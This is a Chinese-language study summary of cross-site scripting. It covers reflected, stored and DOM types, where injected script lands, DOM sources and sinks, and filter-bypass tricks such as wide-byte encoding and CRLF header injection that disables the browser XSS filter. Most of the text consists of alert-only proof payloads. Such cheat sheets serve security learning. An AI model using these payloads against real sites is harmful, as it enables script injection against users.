XSS总结

分类:

反射型

payload在url之中,后台未进行有效处理将payload输出导致js代码执行。
js代码可能出现的位置:

  1. 标签之间:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    - 标签之间可以直接执行的:
    <div>[xss]</div>
    payload: <script>alert(1)</script>

    - 有些标签之间不能执行,需要先闭合:
    <title></title>
    <textarea></textarea>
    <xmp></xmp>
    <iframe></iframe>
    <noscript></noscript>
    <noframes></noframes>
    <plaintext></plaintext>
    - 出现在<script></script>之间:
    <script>a="[xss]"</script>
    payload:
    ";alert(1)
    "</script></script>alert(1)
  2. 标签之内

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    - 文本属性:
    <input type="text" value="[xss]" />
    payload:
    " onmouseover=alert(1)
    "/><script>alert(1)</script>

    - src/href/action/,img的(dynsrc/lowsrc)等属性:
    payload:
    javascript:alert(1)
    data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== (IE不支持)

    - on*事件:
    payload:alert(1)

    - style属性内及css代码之中IE可执行,并且在IE9以上被防御,不适合其他浏览器:
    style="width:expression(js代码)"
    background-image:url('javascript:alert(2)')

存储型

经过处理请求,将XSS代码存储到数据库,然后输出到页面。这样导致xss攻击持久存在。通常通过表单提交,有一些服务也通过url提交,甚至有些存在于其他的HTTP头字段之中。
通常这种xss存在于个人信息,留言,文章日志等一些功能之中。
至于最终js代码存在的位置,我们依然可以根据上面判断。

DOM XSS

这种xss是由于前端代码直接将url中的代码输出到页面导致。不与后台进行交互。

1
2
3
4
例如页面存在:
<script>eval(location.hash.substr(1))</script>
payload:
http://hostname/path#alert(1)

常见的输入点:

1
2
3
4
5
6
7
document.URL
document.URLUnencoded
document.location
document.referrer
window.location
window.name
document.cookie

常见输出点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
输出HTML:
document.write(x)
document.writeln(x)
document.body.innerHTML = x

修改DOM树属性:
document.forms[0].action = x (另外还有一些对象的src/href)
document.attachEvent(x)
document.create...(x)
document.execCommand(x)
document.body.x
window.attachEvent(x)

修改URL:
document.location = x
document.location.hostname = x
document.location.replace(x)
document.location.assign(x)
document.URL = x
window.navigate(x)

打开新窗口:
document.open(x)
window.open(x)
window.location.href = x

直接执行的:
eval(x)
window.execScript(x)
window.setInterval(x)
window.setTimeout(x)

绕过方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
宽字节编码,同时开启magic_quotes_gpc=On,可通过以下payload绕过
1.php?x=1%81";alert(1) //当charset=GBK/GB2312等编码
magic_quotes_gpc=On:
1.php?x=<script %00%00%00>alert(1)</script>

空格绕过
<img/src=""onerror=alert(2)>
<svg/onload=alert(2)></svg>

大小写
<SCript>alert(2)</SCript>

响应头CRLF关闭浏览器XSS Filter,
头部注入X-XSS-Protection:0
这种情况用于请求的URL链接在相应回来urldecode后导致换行,换行部分形成响应头:
比如:
http://x.com/xx.action?id=%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0ax%3Cscript%3Ealert(1);%3C/script%3Ey
经过urldecode后为:
http://x.com/xx.action?id=
Content-Type: text/html
X-XSS-Protection: 0

x<script>alert(1);</script>y

有些过滤器不检测注释,可用以下代码绕过:
<!--<a href="--><img src=x onerror=alert(2)//">test</a>

eval(String.fromCharCode())

绕过URL过滤:
URL编码
十进制 http://
十六进制 http://0x01.0x01.0x01.0x01
八进制 http://01.01.01.01